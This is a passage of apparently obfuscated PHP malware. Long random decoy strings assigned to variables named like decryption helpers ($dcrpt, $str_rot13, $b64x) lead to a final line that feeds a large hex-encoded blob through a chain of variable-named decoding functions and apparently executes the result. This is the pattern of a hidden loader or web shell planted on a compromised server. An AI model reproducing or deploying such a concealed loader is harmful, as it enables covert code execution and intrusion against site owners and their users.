FUegmrtDBgCPIZHdzgTvXKIsMeheJwJOPmUcDNFdTgtCFzeeeXYcgGTSjbwTWegMQAOtmSWGzphdmlHrIFSOKMfuNCMiGSUWshpeAkKYYrbkbiCiNuWXfBrsccaiuuekCSpbdYZBOAMPINXVGtsMUIDwjDEcXhmYaCzDZydOxPcfbaaItsTMzwihzljVuVTuxsWWpzjLOlQPlqxeHqqFlXMjjvecrXVmOrICPRmDdDSOSpsZeIdPFQYnKCqAzkNMBvnrmZtPCkDUZVtdcwsgLPvwrKvpvhaVcNLOMeDOpFhNZAqbVHigwDCMMWagEAcfmmTzrVMfATSZSiaNpItLkUWxrXDuWezJsRhhMtMLLFKDmkPBSiLDCIZseCLagJJXZqekhRWSVfvhqKhISTkTBjlekweQFnNEcsPkikcDPXjFHrmYJxRjfCNPYSGcFtGHjUrREuuuQDYWukUcgkMlNzAkQfmvYsChMSZqLSJBVHWprqQxBChNBIxrmilkANSlerbQiKQdRNRhCIeCJlpjtkaGtLqtyhdbyeRgphjfuBmViryRcMBvxBapLrgIXkJVOabchKhBkUwtkTKmfKICKhqvyxcVHLQULRXsBESMyOEJHNvlWcmGKDaHZCCfnsZyIwQjahvyVyGcLbnHDBnmdNUcqwhcnGAVcPEcXyASWguHHINjiaxlnrNDluFzZEvbuydrWdISJcYqKLYslvczkPBxifvhJpJCNlSJpaaxCylLIkctFeRqTRlBWGhfvQHhcZqQZPnamzLuiNNnRdDjVOjrTrwnHDUibJYAyLAjKkESxrfNuhWOvFfOVaBbDwjdEIDctcLCMpvieZVYHrMbVRPrsrsulCyPjarbDcEOQyXvxstdJEFdVuumjlGvmDKwdaWfCATtXqNUIFxQIbtDwNpeyvAKXjFaJBFlbzdyOQsVUPkCqEFLQTqnNPXLyCkGCQRDOUBbjsxDGHFWKjgACwmqKJAHKKnmZEpmYPpHhLkmRpiCXqBzLOnwWNcHXPTwuHJRxxydHhqywYztnasyneTjswqOKijDQsuMnspUzdtvbRmprENdifnAaDnklWNBOhmbzaWxdpRfFeTwhGzqllpLpCVZYJAMqlNnlJKpxbTcfNXMSwCdhQPwSKvQSuChFpvqyFdUGXwkjtWbpXFwOTRGcLVVexCJkXyIbBcHyyRgRmiFkNayGrDhBycFuFNdbklcLniJkzPbLxfvJfsOVUWwRYaKcmOdWzFhMNqwlEyxbcRKiJzDDUZvSzEvlsXhQDpbPEyBivXJxnteWrIZkguDFXxQPuyewMGlQDMyxJgtwYXtqFsZkkbpHyfVScaNOfYdIKBESHWpGTgvXXThhvxnSbjjdjxrOvvwFVZxcvkhpQbLNuTuOPIgqRPSAlinHciLyHHAbsgPhhBvaTOPhVvxljpLVxybZfMxltwnKCCsiCMivZxCVRygBMswJpWIvIeGAZtKBVbiWmrslntGerNecEZkSVsmDVtDULmvfNDcZuTKHLrkbdPEHOOYKglMbdpWOaQuNTwMMOWSzmcaPREVfRTPxEazHqUVqjpdcjpnXkfVWiVLzYGdQASMDTkkIEfXnuAPDpdZYiuVQPfPNMScLkPndzykDcHQVHFyVhWtrrnGfuvsFNUPXJcAHaKJCrzyXEvsLsLBhyhMrbdVOXKLfmkNmuVOLvLIygaiykjeIQQZRTUGreQVrBhcUdqeybNVhmDexliebYDTrXYgbncRnjTimIMjJzEqkHugSbLUznmQkKwLXXCLhUTTDFDLEgbnmvUfxFzVskkcUgNrdPbKJuELzgxCMypZsiEnNcjFmTHGZuwDiymsRqcPVzrhwGgOOKbblKGXdmcCfyeOVRfmgHBCgSJbXPPkYrLJarGDchfIFJwaAaMgHmhmEQpBeDlcTWkuNqwpxaWbKRBJRmpYAwKdlyeqbqRuLBmXQJmmiIOSApbQCqOBMYExwhmWWdrIeceUkrHuzULYiMnjcCKOAOKVVWSSaIZeKdyvUeOtYzQHldqNFAaeNKAIHsZgZykiChDVMQnjqDQaGGNLfNPsxpZDfzJEWtNXBPSmGFwvhMUnRgYwtmNpblSgKBLguXdUlwGraBkIMeVDKtYcFLRGxJmgJXmcuQwFlbWlcGtOLnsUfPXLanQxWccezqHSFcXQEtBGYUuiHkdNAAyANnwiQympmthRwEHzWIeUCXdiIgVhfSgSGCawzMKMfRcBvKZQsDktZnBHTWOYOuQuVqPUbAGgQIgLRfBIhLAhybOQxcnkwDeRStLUSQaiXHtpltw';
$dcrpt = 'sCskCNwWiSufRsKuBORUQIQWzYcgSRXJSPtvCOQjgJpXbzQCmgwCPMynjavbRRjJGDDHQTRWCftcEJEqPARElqsUqlWGcfOihRPYjfuLlNOpwRFKrwObkfWZrsFSWTAEKPCTUVdFhrUcizNYuBAFfwEVmJNICNllCNEViHBPyUSGtFElFDQKYUFKDRtEEEpFRSBzYBnwvFBmJFynhOxGhBqjthNwlbBCtBaQBNmVtNHBRePZsLFYmuheCuZNUApmAOdaaPVSbCuTgISXtWWeqDiRXidRhREheHhfVDxWEQpjyGhrCDvSfdiCLMusDxzhDHmyJiTmZixWOdMQGHIkKqNUbGlecklFrXCZfvlEDhaRKMHPtOaCDmVeShiuRTyhqZgUuRzxzzNiKTYdgyeJKaNbHvvyNSFcRkxKbVgZTTiDlgfsdKbNKnOQiINvARXQbuACpgCHzKJLqPctYDFhrtXYaKtZaqPbJODxUEdTnNEcbfUZJzgzrDxQMPPMfdmOspLlTOEGahJBncZwCFUsHritfxEKBQYSfJDyWhdxOlxBpxWqBqHiGpalMFvMvtdZBfxyMauBlQbAmypnNWwTKwEwayhVRKuRQrOCrhCCYdCKBQXNlSfWpisOHZiXJcnYtcBJjCKhFlsFcpSnhxjVGbJMAsiiuwHMXhUhiEOOqftRvkebhOWNPeYOwGWPBcazjUftYTGNZYETJIuQVqcjTAXqfuEfwFdfYiXwcDiBaMTiUmyPbAzuzwJd';
$str_rot13 = 'NrGnJMqEPHdMpgnQtxAzDKAqzWiOUOaHEfvMSKqHQSSezfurbTPFdqUbLCPFPqMTvgFMqvSfMKJkPcBrWQvzFOAqqPuFeFXzLClawdFiOnScrTSmJmknajcQYwUcBRClSmMpqQWDeOfvgXgPkrCKAEZzATaaKCLcnWrdNMGRALLHiRVSHyCgbCeaUfaegMgvhxyUIDkhOVnWMJOtgPZHQDIkIhpptvJBrGUYifFWatsmbfeHvdnKgvUOcICvcKvSqPqzUVUunmfORkvLNIwtDPHeyiYZTuSiIhgbCBvPNaDdKxPWFKqhYWlwejwxcNfKUlLxlGLyfOCPkQkpZAwXwgTaQOxsBbCUnMQYRbxWpykYNwnMVJiRqBrFpmWppXjbKzZBAwXOthNfDArYIApXAFbPryDFvlGELfFKBCYuJk';
$b64x = 'VFVQnvETzaAfBreTgOPPpqjeHAEBYjgtOcJbWmUvnuZOjdgQsVFGKOjsOmslxYFKaNlwZfqMZqZiSgyJbcqlrYDEluPhsTRRGcmfIcRgsROJXmtyphJefLIrFXXWqpnwrAByCREtItceFUctbkXgweXaBuWRIJMzjMWkDadLtFpxzrpZCLfXQCxrwSHdCtCkeYUhYXSQCgMAXazYMevbGRsbJzFkRgUwePDCMUsOAdnxENUPRpqWfgypFczWITsNIuOuNghmJVjMIdaztqUXxslbukXcdOpLHcEuIlHRgqcntdMktGiPyTrRdNtgCgrijVDrGJHMyKZqNkBFqiUNbkeFXWLYdCHMxJCCRjnptMEFwEjklDYnmCskycIaEpMAXpBOyOCQZGUUJdfVgDIteZcbBLcFzOExCfKZtMptsImAMRvsuCKyBNZcyBgWpKSrPcqineaeMMEXEZpxazVCludiUjeItxYiYOQlsqPDBtaERpbSmwTyPWGiFkQxgpeEcUPuJdwkwwOnkPFxkyVzTaHXkyuQMzunSIgbLClhYzUiOzFYWZXpaElKBFBMDuZVcFWNhHuFFnmtMrRhrOwQsHZtMZeOuEiwieIPkcuQqfICxzimmFceLBxWBaLuEtpmXWbhyVxnafPxdXJQbkUNlQilqtFUMTgJpHqmCNADsOzvLIkmsEzDTHOjaSDlLJUAqjMswluNZSIjZsVsWuupBiyBaAllIfLyOWPkHixfAEpAWKrsdKGESEEtdPEMuOjIjySQGOVFtJEOtUfWFLZWOdOSSRdMemunKLDPYXurHYezsJUwvUtIXGApycACOTqyESMDQGtWdXUvGPRAiJiFphtMkTOYldWqvhSkNKGqgBLmPbMXjubybuKlMXJYAenUmFfzOLPVLZhAAtxJmXGnRPYDMHBlMOgySLWHVkCHjigJBdRNAyArMyUzFvjQJPnBZJHVUibdrhmsKdEkaeBNbULGPuwyjiyISfDMNdpElBVveYeEcGQEAajpvfldnjLFOOraRGECGYxjXBnzGdCGeMuYrfbdplJCzZCQeGRkdnTApgZUKBAOMulCzMGmXpOWNPMsvcbzrUYebxYLyYYJRjlqVrCsFPnREzizCjxsEUwFRTPprmxhVhWQyyHcmvurtCPUllLPfGTWZhKPuHxpOtEmrKOcehtyjhRvSDjyICTHJdWcKtQyLujBDyEIFWfnEwIwyrTgSmmaqiCZasWlkGMOdqwhmawQVDLuUeZlrLmfuOEuGZFQFsdhgYqtykIuNTmHXltNWFSqSwjyUnOAFRHlqwENfMgTFtZbdsOawGPOByLvMzuQQBbfwGsCRzvwruxvlKUgPiUqHGjtEEiTEKyZqQBGOvBEpxyAgsGVaaKHfTziWgCAQZZFpAkCVkgJHEimwnhwNrCSKABGfcGWBFaQELRYVxHcBppWcWRPmShWsIcWKISkMtAPdsnyOUApJPKLLaAXSHUJOWGydXipqIdSzrrNLQBuFlEPldNEkgmyCsweqEteLVXKmnxxdXqiITXUwjyGPjEQCZURcMVNISxuFtQirfQYymsTxpZLzDCaCVREIlQPENiifyQVcGuATktPARZYuBYvWpyEZpSDBalGXbbZhUYaeQpEInCBpZWknTnNHfqhFanCcpajiyJmnXRvKSWYSsIFkVsSAhzEhMFJaesICAVQWlKHDfFUxNAhIrzIXXLFKrNjvfSXemmbXwIACMvYzuFHjDpHBzlKPytKDkghWtiTnQTPCnnbgshqVVWVuHejfxthhzpdrWxEMquOcgpiywXtrunKaRtFpLmVJaYZXUEiJxWLDKTAfRTVkGfKyyPlJbgsbERyzvHhrcttNlSsCLnlRtWOqkZylFqMigKgarOrSgiFRaxulKeCCAqrKOpVtEhBKRhjHVZYbhdshALSJqukPJaAxpUpSbQbsXKysJWSQZjyzvPhKjRzsrYpfTDXuSzlpIiGseyHDhEbCuIlcYKTPiHUBKrUCpFrXnwpRuvvBZVcSdnUbxmqFUjfEBAFpEVlRRAJkVD';
$dcrpt = 'AbZknqXcaLerEYHUKwMAmsAUmSgVIhKiiitwYPYYAcpdAVXkQjjCaKWMbcIKjRSRaKmYzKwZNKCMeZWviGWIqSvruCacSsTSbGqBqLZCUBpzAKTIqprFHkwaMwDEnwWpbLPsxOTQPHppsHxHWmMcxhCIceLqBHebSTSphMEWSTKjZgrVtcxpjZWLDIbdOfFGyxueIYaBrkKqraLKCHYLGvxjCXMqCrwZOpEVMdwCnGSFfcOIJMtPGpyhLjymatMngqiTtFvHKMLPOzxXKqMrEjyPSvbSmmfubOmvSgBCTLrgjndTDpJGyhvrbWIpinhkbTetZeUsPKzyXbrArAgngaEhWMVfZcPAvtsvxllLvKitMYsCyyPEzTlUFGzdincDfuxbeJMzSurdSJFPGvuENezsjXUsLwVQPRSTAdRSXiVPRBExvxBhaZYkwsCgNWxCnOUNrkentaCJagGUcgBdfzNBQOhcLEEYsXkIhPwaPXJpdpiGvJJZHVBWJhYTLbRcYCjFQFFFDpTfcBLyjTxqOxlXEjQOkhqIJAMzEsDgfVMhwWeeQbudyFaCnRqXYGFgFQeihgPMbBuWxyAMzTqxXqYkGnHdtLJXBmgitVUTVnpslOEjgTGdIdNORTRjEahfmNnfhHycvmTfaxpHqvjyyxlpqczUCfzpsluzSrBMDuRdrGKGatDyPOmfrkzSqXggiZFArfmtYDwpiFviYXgNMtsCDQusNayvZCVqgHieJETSJNAHKfTVXlWZbrrprnJqPdfVjNATQSkzFjFOqzjmjfmKwcYlQhbeKGAUtZmiRxIVGmJvkSIuYuETVbfLIGQtlqMEOyleUTZZGhvqaCjyVNQQOvbWaRplGApuXBXrTWPYDjpDLXAfKrwXLxtMNgxtGllcMISedIdGRRJcOiHXYCuKYNVkTRcZcNBnvutybVesMmTZvawuCpDBbXLvnnTraudwNVtnQWGbiYAdYVWBkYBLVLFIYyyZSCUexmtNJyORVpuUJqUtnvEIfirEHODYPWCMIuzrRMImabGjsACeUfNzODcUQeSGau';
$str_rot13 = 'XlLdJISgZUGjSXWXYpRLeeTckaNBsNHpztthakOAEuiVreTOSjYxORzYsLZJyGXwyPEYAsydkfZajsOBalXOdwmvglDeRAAPPDNpuKsEPQEyhRYIdwwGRIAyTcbkbBZQElEXVwbjleHTweBzAWEReDpXeqHfqGwtRzQlURvgVBzrGZpfvsWzUkWYZDEPJzHZXxLSnfyJgWzMvORpFOnZyjxXlAluYSTwqENDiKLpfkaAySncfBbDjYZVykpWdhsSkEUunGhtQisnAFqegRHPPgKMrZITGzLRcfKPLRHBzYOydDCJTJyhPiUFHbzmBJDcOmSYEYzCxMaAqCiIkfQZnKeuLcHLLJOZWfxZdWBZIBzxDgfNmVmZeruptAaDinbESzDvUEvCETZgAEUlzGkcwdrOcQQlDSPUQSqKVKLzcjGCNZNLFyNaaEndTdOWvcQKufupPfOsOutCtgmxdAWDdjf';
$b64x = 'UktdBOzASliANyCUIpPHxqJQVHXlOXeIhWkiKiIbTqbHODBwRPcNfkcARZLGWqNElyMwGTxAjyGXaGSsvuEZEHzUGkZcZNGkkRGqKDpTaUqbAhSVawUEcTziDykCKqlugsKqUYJUTYvtGmNGJhkkaitDfDeQsqjXHtnBswVKuqCzcqfkxPvxXOZcQdsiSCFAusALNvUhkxfMMkWIzrewedYVGPDXQhWkZxvMrqtaMzMXJIFIZiDDLBXQrANghKQgglSWBlXMjiisrmZPvDsFDqvTphAwRqCxaUTBfqMOyufOGfcAIvekjzEygDUxsVutPmtuCfhzYnNFSPEAJJjSHNrNPKkhFEAUQSnRxVqwiCAasdZaMItuViGKSQRWuQqJJEAFzqagRZGIdeJpMBhHJOsaEIWyzmGHqGlnVMTlLzUnDcDODKwLXmLbUHztteZhjLvExNQHljVnLXCNgXyejifdpEWhhvpRfjvbWkJITdvdaWQgTNkCVPfKSBraVFRBnLbKWjRpmltmiiTBwdDrThALIQkcVBDimesIniwBvOmcxfcSjeICliMTyxWtxYbictQQbMrwADXwJzNsEwtPdeiBaEuybvfemwunhKigMfDveqlhkEwniEpIHIfJCLmOgGcnqkubQwWuMhBwlWjuaybHFHqgsCuyhVkxGEYVaUplBPgMkqfkmHSRNhxEKrBrlLnROlMnFAYfOfsZvWjIDbYPJwtSlTixdwOSgZFLAErnJhmDdWkgxJVfeOXqHGlkBZCIZgSzKIlSPYVTUfZrnuWRhtGpYSzAraHqgznrhZIWXDpRiNhwhDnOWTcukBTCaZrHzFxfEeBBhQRqDykjbyYXRaQbbjcBiuhHYEMbJnbqDSFFqpPQmNmdmdENmHpvaVCyAnYIaZXcRbIGqxxCJJevMJiyPWTPRvMrhKyIJUKZVsFlOBmWksswaZUpVmdMHpDnYAVHvGfqxKaLLnHVeYQEXjSswveCJgQHGLNAQSqnbqYMcegGDXjZgbscwVEEbukgFXgUpwHrkeCnjJtMfDkLdCNZxRDXkOEpkKJZFqqPvRCdZVpEyzqBBCAXtDvErYsahaZMQOBKfdNEyBiVzyVZZVxtyRwnpmNwNmHDaHmfjzKHZsbXPXXnsTfPKaCynptaBZDbGpGqNPWlgYivvFJMyOahPbFCPXbQwdRCsWReMmqskyNFdwQaJqiXrmYgKZWFcmguixXuKmMukzZNupNCFvAVhXBrXxVziCTsYQLhDWCNvaZnpMQTHPpOMPeiMZIUaaLZqWgSSheNhdaxqqPWedKrtOzEmGXnGiMWesnwAtiHVjdkztgdwQundsrQYpddxpZa';
$dcrpt = 'lYSUQGMyxUXfRntNTKQlzPnmZhCzWcZharBqWMNtHLyXyRKraBCYPpknVMlROkynCzEykrrrBOpZeyPEysDmfNZbAksNVQbWOFTYVjPWyDVbaKGYBiKHVKhUuzIpOJkCneaINPEkRzmrJspjAZqUiWPCwxrjfalSElAsAEbrCngkeVUEUJzCGndBjujpUvGyGFPfiRVLECvJxOMQyksDXvdgpmUihAGNfVtnlNyPpTXkHKaEusGsNJXBwSicROpWiHKuUHjiAGuHqTKKlrbyzyYuqgwhuLDcRmwLUeuTLmZAfjjrAKnyilsyRNeLXINpuIZNmSgXefxKpganQplYZDWrPaBmhNBbvZOHSUdwAafngGCWumvSPridQiqyVQzQQmWIHAdgAJuGpvbIHwAVliZcrpZMfybvjxCqWFwwNqBbKDiRyilKrklgZksEhtYQQZglEbIRrISBKBRiJcszNDFlmxPTpmJElpQprXfHFyhPYYXgBpFnrJzcfNVvzdyjtnXJKdqPaXEyVBEVpIiFrgHWtbQRenAxbyfLawAaSdXmdaisIQWyXcuPdjgIXGeYdkJdfJDXMZjQZRhgIEeefyTJhZrefvcIeklJTOfGnPVMGCTNfxRLULubjjFOdHxiSIrkVWQiLkVQNnEsKvcdFVFpejciRzQiggtCCJKmteDfsGXBAZFfvju';
$str_rot13 = 'fQTuZZLgtySUQHvKYJlbrAKLJCSezezEuSxSrhYJFrcUXxFwFqxWpGgXhYbGCaJvSgmiNLrSBTMyPQtvFpQTUWRCVshWsrsJWErJOhBpAnmpdFiJUYbOVSqqkXLbNckJgasUhTJgGVwiAErTDthXKWMutxVfZfOffGzNYhTdCOlctcvvUCREYcYrYtWXyKccPbpNiIQLwCmOEgIXiYBgaYxZrtwnDYrRZeFHMURiVdwYKeVSCWYDUUbLNxYPvOGuTKBFesmZVJyFmtxOpUQJnRuaORpiGvcYeDcIuqhpyFTKxPXMiOUWenWSELBjfcHJFKsyZzNxdfGAvcLcQFYvsvMwfmFkpMTtwKRvidrliwlcywfObdISyunDHtmveGnAqeuzhjjPeUSCrxPRAxiYRxaXpnRttesIikGPTQeXjwYASOrsKAPawQ';
$b64x = 'eWwtlxsFKmGyNYgbwAcqqumfzkeXPPATLvmwrdAaqfzdDeEYdfNtZzYyJCVzrvRBPDWFGwGwaEYDhbbkgndfmBEVcYTttktHNplTjrOJUMLBNMlTApzMPCgrAaisKBYxpJPyaDGuOrVBDgUcUSniuuztTHKDHhAVqOSPRyjFOEgrKAtdsflLAjDtqmwWTvRiiiYZGHFukkLuKDxBJhLIrnaGAVbtqsaYAYXfFbzpLJIvMEvvLfcBtCGSXHKmYLKXihcnibCuKKnVNJqzORzhTfzQlJCKTmHbuKObkQvuAJqmsekfWjMPplFZuGJmSrNlACNKRhDrQScHXNNtWYHKjLJcrSpjicUhdHrUpTKellMIyYaTWgcGRMIHdxqlYkSBrivFbEjMpvuNtTGOZJTqUbXXXmIVWAwNIqsitaVHvOumIaBgiuxcUTZRFgMbGHONwFvOGPwAEpNLOnRWgNYbfxSkDelILzvHdqvieqJhewSSijPpwmqCKIMmMxVWVPDyeyHJNPQRKijSsYgNkWOUEZHqwblQqppUMVDYKSquazLRWRFgmSBQSHFNhrExFSrQmtOWLdPLbAcXQgEdYetqkYdspHntYFikxwGhZvtauUYJablyFFOPcRGQXTiVyQFvlkbkeTLyNiGNjSlOWzDYPinMbVgZLLTwvUgznRWaZCniTYWPxYmlGZxgUcFeNyaHSgffxBFwCsdwqzKlxxWCwtIrvNUHkUnCASgWtlsVDUrttAEpWBQttYiOLcUvXIxWADTTOKORFEjXdNMaNbSgZaujcnezvBwVDOORybIcerAHDlgrmYWMyPvaczzXzuSCHfSfGAhKqgQSsXIevdQTSkTvjRshLjJsOBxuAeDpkthcqpgLtwdkfWFONwWyFeQtfMlFQOUBhBDWPigHdjsIfWxtSSqxWfqbsaghPAhwAKROsYwUHNDmizFarUXMAMnrMTyatfVspNfHkaaRNDDwBhVRCsdBdQRqJOqBTlSiyxpIypYKsCfSiBjKSMKwCaLKpAkHkCPIYDPwsOgJqLaylJIEvsZwSjfgJPNuQcbPeRKweqEuBFRlNYPiQndIWjnfyazpCZDHqMcuCHNcLeNyCcfsqjZmSmsqNqdOpGvFtXYudlwnPIkrKriaZhMRUDGgSKugqpkhlJaOUwBiELYnBgnAOzQhbxNTGgAvvKcftctMYTUCFtPFYDflbVtdRFwxMVSGGUMyWEkUyEVCWLgvnLGpgzRXdnUpIlVNFglBKwVHZqiwaPQnAVcGutdXfXlOiGaNMlNWghDgylbXarLAlNGfFJCLfNYNuYAFkMarudWrpXnONyNzKtEqBfaGsYtkwsqGEqxxStNGQAuDYHBIzeXaJxfBUzLrqawTQSqILCOachcAOEHnheNRaSsVQCLgDGzSYpZJQNisvkriOYVWchmcaExQfHwhnVzljzuzLCRfMhOBFJWgrijrlfGrNcYaXxlGvFeggvlscZsHinOzwxpHCUyOWVOtszymDDtixEBzdsglGujBQyIRRFGOATGrSeDUgVdDZdccvINABWbQTJHKnMXNfdDxHgrNBuPAWrbsyORYjsOCaVMNgJZlMDISiZFJSUJPkKGiYWgHOVjnqVbwdAIqCPhKnmuGgCUQlZYJVFrJAZxpuyKxxRlZHuJufCZldTBqsZynEOwDmSRGPBDmSOlzHusMWRxZjyOCxmpAAKCNcttrtvckjniqhacdRzcaWrCSDQscatPCLIsEcvnLhWbpWDsmBUmXkpPNEHpdZEeklxnNRazYWZNsCeEcYrZIFpUIVjluNqdyMrkcsJBnInfJsJMQZLydZSlubxnnMrLYIvaZeBMlnRVGagVzRSDrKnjkKxXVOItwDTUHufshxMNWShvjZxZjKiTTGRpTYHOBAIhumZBiLNedUAmtWLbgTVZYMNRKvFluMSmzRNHcZMFtLrMgbNmUhMtTYjEtppmagzYymGZLREeCuQhvcvOkGgDEr';
$dcrpt = 'XEztDWYBqOdBXGBqvPlYqdLiyhsaknvhRtaTqYveNXGKEGZyvLWjOHSlpJLzWfHNzHgnFBRRXxaBdazXkvHYBYJPHupDYVPWbVjfVBXTXXTAxRXHlEemCNbIgqkFKZBLvkRqLnIhKbhHSeNEhSQieRQlhaqRzQcTAtJkfrSPRZVKdJNKaDSeTIPAhesGvTAUlIFryWFqVazyJlhinZMggCHnfyTZrSubAYsyuwNpwllEWtMjRzPXAwketDeJwyKvVBSpXFctqnxLfiuwgjtfeckyFOGAlQVgQNUmSWGhJCtnKMJrVBVADfXHTchEscjipdvgzAOhbgvlSdCnEWNGcjNvLUZdwilKMfRkGetHkmsCrtPuqbAsKmlwgKzbtjLepbpUfgbqutSjlgcBiCsSODNuNlvfvGJjHxDNEECxxTGIAhihKZzyCmSpyMTtsCbZZElcImzeGElfLTmvSLtTxKIvwBmOdnmCRXEzJCcpfnTqGfLyrDRmmzHhzTvbggDydGWNhZbmMVctAmqqPgDBeJIEDDeiJIGNnDZVbAHNUJFUVVjKBlkfVtiXVmfdulQhOpcpPJbJtgDnBmybXIGsAOpUBUYUfnbtDdHsmhAFnDSOpqqlyVExjsRKlPEQCfieIPVUxVzKyRYMGnXDIaaRtRaEfeUHjcMRSglObKyYawKHihJRhJIZZidEmXlVZxlrcxeeHccgymmHTWyaeFAemDhzAtTYpfPsCTwIVXPTJbACXxccBCGnENMdGGBUkqlljgUEEixMjwpHsritsOGVaRyGWyagOLtxSMAVUxHdsvjKLsCCFHWGyuLUsLafWSbOEBiyXPbqkkzvDaxHgtmdmyXEIyJEPjsuKZrIpRXYCVtEvpkBIyEuvbXcYfHNpyGYyxfMnCKpxCSRRdRYaVsvWpxuTdghCmFzJLkwmuLKVcalfSjFNBZJpxChZIpaUUzceiYrbiAxkBIQtsvfSvnhrPpPWdQrxOSBxQryyRuJscYjutOLmBscPgSLjhBfvuGRJwPhmiqdKnmdfAptaGvPMmavTaApTFFDbTjncYRlLdPQEdidJdTVqtqJtQXmUbpVVXJxvAIfcxvfZEjJHCdwUtEMIayDclXxiGTcfahiycnxGWFMyIHRBlEIlBkNNijvnCyuDebAgOwlLbXIieAiqDRadBOQiXlxAiqCmrbTExepXCXGGWOvzevCGItOGdKFlZgXqHqudvIBwegBauVzYPBEyTRDwCHgaNDQTTjWNRWiwCJwWdvUSVXPnnsipYpqkrFdjOAWewEAYmwuPQNILjx';
$str_rot13 = 'hlbcssVAdZSSAQxhqWsYZcsFFbJlquXxFYYwqUVStnKSDgZS';
$PyJVsSHN($NhuuBKaxDp, $qbPxK("", $TtdGHiKm($pWJXjDy($IgVkLAfdJv($tzTVXlH($UWbtSKs, "65636664373937623161626262323238306566663964666433636662336237343761373961353631316233333761323633386331313834666631306331653633356634653033306462343064333461313162363333626362663762336266353532356139356233643830373135366436333966376665646562626636386530316139353432613464613532616139353466353635653366333937343136376630656637666664666235666139666666636662356663353665346235373261316461336462353531363934633735633332396463636665666235663562343663333661316134643635663335396439623731653836636161656665363430646666666461663663336162336636656637663164656136363737356462393837663436343637313164326266623637623930393236633538626437666666656233663239633432626666656661623664643862363639663536626236613330663964353833633866383937333362303763373962633538336361373761646433333531636462653864666538323764613964353235306634653135303766386566646662356631666234393135646237346663666337633563656333363534393533306131623861613633373762363635663462363065363430626636656635306663653736396631666262323339656239646335613563636131613864356337363264643735633639643535376232386461356661663263613461373636396135396534643162306435366365643665626137313735376365663065383638366362323732363939366431623534616537626236376264666166353066383764376236393863656631333239643933653361646362643665656636663536653933363536353338313139366635626364373331623738616135393733646361373038363233303337326230383937333833633665333439363937373530643962643239363832643264613938646661306466386562633033663133666535396630616630666666366130366663373963323134396265376532613738363038616530656634646461626164643362336665353134316333613231646638613763336266363130396362333762313630643131316330613565376361373636663666626364356465323936383938663338383930356463616461616531633565386339616535663361646333383264363836643431373133326236653735373535656131383135303636326266363531323233396136643537393664333636323562356532343361623135633033323938376361653366313966643030353264363839353033363361626634616631666237356635616335646465623732366361656139336233616535376530306163343636666530336366336234333861363764313831616365363864386366653366376239666166323632343132623665393662366361646233626262376266626466306530653866386534663465636632616435663338626362616265623162626464653638316161643736633762633766653866366661643665306337643037363436386665336137653739373734323639623562356335613565353935643962346631353334383663636361633066633939623362326634333738373766336239346432613139343065346235396334626637356433623166316433383433663639353635383666373864663864336566656430333835616137333761386331616337346537363633636366396266363531366132393666393534323439303466303861376639613136636265356234373934336361376132343031323463636366333338343166333865353666633065346465383631316164383333613366376635363332636263613566643432626630376439356265653633383163656231643832646564383530333261626361323732356664393436623839646361633266333731626338636463396239636238313463616639333764653962633237626634333637636663666533363236663734663436316431383965313334343865303638633539333831393436633238323531373461353936346564376531643737636361656131633436303530336632626236333365633161376433316564323835663161353962333337653863323032386130393832313233306436306336383065383733396536326261646663613965343538323631666532313830303764353165633531316463303632383833316131613431333934626130303930373136353564633163343738393234333638383534323431363366393766666438353030383830623237383762633763623034393235323030393962633530373134393365323366313561393632366264383863383936613235613038343932663139306661333038366230343963383236323065323738356538646165366434633563653033366333333435373266626363393236653438653962616236333531623133383565373131623838363633626236303139386230336337313237343434366463326563383733306566366661656466623136373038633265306337613766333037323832346338373235633636353836663336303363353731633163363466353666373331643935363136633734383662343865653033336362336637313664613861616362346232383162336562336663333363373366313732353330633638396536616339313033323463626539376466363762333033346461623561313331653865613064323361363765666635666335383531623764653132356264623037363362376639626261326464636139303932383832366338303961396366376631316534653032306366376330623236336263306231326565306361303232386338336238353338393935636166653532613964633266393535613763376632396465663333316436343036303666643933386630623731386133316362386432613230343838346438396631616334663461363632393865663038623265376330656531623331323763636538356366303137633865633039373131396336383135636335383863393666383936383436353337386363356363626531336137383939306531313863643936613865363633343135393836366164396338636338303431643066343261353032636265316234353465613066306635646138346639336165623834363564636436636636636639373263623862653563656538373164373762383861356338656233376338353232366231383037633838393730383536383266663733353164373661333739373462663766356563353962376431653663383739343133663166636235333631623964386365343536343331336661646163393832376333366536646436386538613837363531323630613332353562313463343161316461336631303031303264316437613832636235636136366431626330613536623935373261356232373737636634356464353431316161663431396136336636646237366364333664623764316430383330643433623632376532653065393433346633356561373032616135393730653064636539333539373632383332316363386531616163616337303062313238343361316535643162666331663662613236343032393861356365393961623834316135616436643064303162396464383034663534306237313536343065323836616366336465613564323838343434303036663663393934666338336633386266303031306461393336396631323063313032303261366566633835366139353039383863656639303637306338393630383633633366303561633336643466623464303630626235383939313038643433356430323764373335643036643762383662613130366361366261656332393735643937616362653863313032396161313365303133613533396435643662373239643564616236646636366230336264336434626164316566303663366465643463363936626337316164376363383664353966613537373364653064396336373334613762363165333732366163303233383763663033363432356233306361646266343439383032633636343032346261633539373735373939656136373337326536613937326634633630353064333330363264393531396637383532653431323634646162626532363735643637313765356233656665613665623537613532646233646165353439313537303138636631363430613664396666313361326539353839303231613135333838373566623565323465663961386161323138623962633363353535366331623764353236313938633261356565353835366262366261383039623564323164306430376630373935383339646162343163663836326561323062663337336165363233326364633834376130643364363833636331393733336264353765663532353239646330656338316439383439666631336339303431393235343466373738306362363832393264323937343031656432663264323135353165346636613239313335326136313264623331373434303162613362633534323639393536313664333862636139316535323864626436613864663034393530326262323066666661656136336635313135333431633337613131323337353939653638326463306139383562303062613235323866386136633566333666323234346236663133363432383439613131613165303062366632333135393033333232663639366665646261383364643835396139373664376637306337346262623062336636623137666664636564306464666530326132316164306330386331613238316366616138656264343163623336376263353837643033393736343463326264616136396561613161316436303064306331343538353131666534666635616164373862303564616331643665326432316636356130643234376664633633626462353538323939646564396435343662646237623037363538346330313531393265306539306338303661386238346165373765616131666561613035386139643634613937356230636132616230336639386437316233613632363833663566623862396431346162626262356464626434616635663865633961313531646538346561376436333136646337316133656266353939636632346538303866643463613437613562336562393361616130333131363138306339356637616531616335376565333966336563643036353832386130663466313035666661633933363434363564653538643338323761383734376337303763353661626639636632383366633030653632373462626235336161386536633035663530326566316632336561386330633736623064616236626231316366353866373433393937356532636161303939366462383366313336363139636262343663336231343238353366613834396336356535383539353663336261623233323738353236636162366233363935396638346639393536336662613066656431333334366664326566346231356336303831383064366333633031646233643933346661333564383439313962346465373836383066393136623464326139316434656666353237316461343333336633643939383966343234356239363335303332643734323631386137656632613662373065643531316664616263633762323262366232623662396236613230316233363535303162306263353264636463646166